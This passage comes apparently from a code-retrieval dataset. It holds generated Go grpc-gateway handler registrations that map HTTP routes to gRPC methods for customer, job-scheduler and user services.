runtime.AnnotateIncomingContext(ctx, mux, req, \"/customer.CustomerService/GetCustomersForCurrentUserAtBank\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CustomerService_GetCustomersForCurrentUserAtBank_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CustomerService_GetCustomersForCurrentUserAtBank_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\t})\n\n\tmux.Handle(\"GET\", pattern_CustomerService_GetFirehoseCustomer_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/customer.CustomerService/GetFirehoseCustomer\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CustomerService_GetFirehoseCustomer_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CustomerService_GetFirehoseCustomer_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\t})\n\n\tmux.Handle(\"GET\", pattern_CustomerService_GetTaxResidenceOfCustomer_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/customer.CustomerService/GetTaxResidenceOfCustomer\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CustomerService_GetTaxResidenceOfCustomer_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CustomerService_GetTaxResidenceOfCustomer_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\t})\n\n\tmux.Handle(\"PUT\", pattern_CustomerService_UpdateCustomerAddress_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/customer.CustomerService/UpdateCustomerAddress\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CustomerService_UpdateCustomerAddress_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CustomerService_UpdateCustomerAddress_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\t})\n\n\tmux.Handle(\"PUT\", pattern_CustomerService_UpdateCustomerBranch_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/customer.CustomerService/UpdateCustomerBranch\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CustomerService_UpdateCustomerBranch_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CustomerService_UpdateCustomerBranch_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\t})\n\n\tmux.Handle(\"PUT\", pattern_CustomerService_UpdateCustomerCreditLimit_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/customer.CustomerService/UpdateCustomerCreditLimit\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CustomerService_UpdateCustomerCreditLimit_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CustomerService_UpdateCustomerCreditLimit_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\t})\n\n\tmux.Handle(\"PUT\", pattern_CustomerService_UpdateCustomerCreditRatingAndSource_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/customer.CustomerService/UpdateCustomerCreditRatingAndSource\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CustomerService_UpdateCustomerCreditRatingAndSource_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CustomerService_UpdateCustomerCreditRatingAndSource_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\t})\n\n\tmux.Handle(\"PUT\", pattern_CustomerService_UpdateCustomerEmail_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/customer.CustomerService/UpdateCustomerEmail\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CustomerService_UpdateCustomerEmail_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CustomerService_UpdateCustomerEmail_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\t})\n\n\tmux.Handle(\"PUT\", pattern_CustomerService_UpdateCustomerIdentity_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/customer.CustomerService/UpdateCustomerIdentity\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CustomerService_UpdateCustomerIdentity_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CustomerService_UpdateCustomerIdentity_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\t})\n\n\tmux.Handle(\"PUT\", pattern_CustomerService_UpdateCustomerMobileNumber_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/customer.CustomerService/UpdateCustomerMobileNumber\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CustomerService_UpdateCustomerMobileNumber_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CustomerService_UpdateCustomerMobileNumber_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\t})\n\n\tmux.Handle(\"PUT\", pattern_CustomerService_UpdateCustomerNumber_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/customer.CustomerService/UpdateCustomerNumber\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CustomerService_UpdateCustomerNumber_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CustomerService_UpdateCustomerNumber_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\t})\n\n\tmux.Handle(\"PUT\", pattern_CustomerService_UpdateCustomerOtherData_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/customer.CustomerService/UpdateCustomerOtherData\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CustomerService_UpdateCustomerOtherData_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CustomerService_UpdateCustomerOtherData_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "1414a1996ca78d00ceaebfc3b396d402", "score": "0.59797174", "text": "func RegisterJobSchedulerServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server JobSchedulerServiceServer) error {\n\n\tmux.Handle(\"GET\", pattern_JobSchedulerService_GetStatusJobScheduler_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_JobSchedulerService_GetStatusJobScheduler_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_JobSchedulerService_GetStatusJobScheduler_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_JobSchedulerService_MarkNodesMissing_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_JobSchedulerService_MarkNodesMissing_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_JobSchedulerService_MarkNodesMissing_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_JobSchedulerService_ConfigureNodesMissingScheduler_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_JobSchedulerService_ConfigureNodesMissingScheduler_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_JobSchedulerService_ConfigureNodesMissingScheduler_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_JobSchedulerService_StartNodesMissingScheduler_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_JobSchedulerService_StartNodesMissingScheduler_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_JobSchedulerService_StartNodesMissingScheduler_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_JobSchedulerService_StopNodesMissingScheduler_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_JobSchedulerService_StopNodesMissingScheduler_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_JobSchedulerService_StopNodesMissingScheduler_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_JobSchedulerService_DeleteMarkedNodes_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_JobSchedulerService_DeleteMarkedNodes_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_JobSchedulerService_DeleteMarkedNodes_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_JobSchedulerService_StartDeleteNodesScheduler_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_JobSchedulerService_StartDeleteNodesScheduler_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_JobSchedulerService_StartDeleteNodesScheduler_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_JobSchedulerService_StopDeleteNodesScheduler_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_JobSchedulerService_StopDeleteNodesScheduler_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_JobSchedulerService_StopDeleteNodesScheduler_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_JobSchedulerService_ConfigureDeleteNodesScheduler_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_JobSchedulerService_ConfigureDeleteNodesScheduler_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_JobSchedulerService_ConfigureDeleteNodesScheduler_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "b47639ac503207fa15802b3c4ee94ac2", "score": "0.5964772", "text": "func RegisterUserServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server UserServiceServer) error {\n\n\tmux.Handle(\"GET\", pattern_UserService_Deactivate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_UserService_Deactivate_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_UserService_Deactivate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_UserService_Reactivate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_UserService_Reactivate_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_UserService_Reactivate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_UserService_DeletePermanently_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_UserService_DeletePermanently_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_UserService_DeletePermanently_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_UserService_CreateUser_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_UserService_CreateUser_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_UserService_CreateUser_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_UserService_GetUserInfo_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = 